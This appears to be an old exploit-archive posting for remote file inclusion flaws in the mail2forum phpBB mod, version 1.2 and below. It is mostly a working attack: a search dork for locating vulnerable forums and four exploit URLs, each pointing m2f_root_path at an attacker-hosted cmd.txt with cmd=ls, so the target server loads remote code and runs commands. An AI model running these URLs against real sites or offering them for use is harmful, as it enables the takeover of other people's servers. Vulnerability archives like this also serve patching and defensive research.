[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : mail2forum phpBB Mod <= 1.2 (m2f_root_path) Remote Include Vulns
# Published : 2006-07-17
# Author : OLiBekaS
# Previous Title : PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability
# Next Title : com_videodb Mambo Component <= 0.3en Remote Include Vulnerability
Title : mail2forum <= 1.2 Multiple Remote File Include Vulnerabilities
###############################################################################
Discovered By OLiBekaS
-----------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : mail for phpbb (bulletin board/forum software)
version : latest version [ 1.2 ]
URL : http://www.www.mail2forum.com
-----------------------------------------------------------------------------
dork : allinurl:/m2f_usercp.php?
Exploit :
http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
# www.Syue.com [2006-07-17]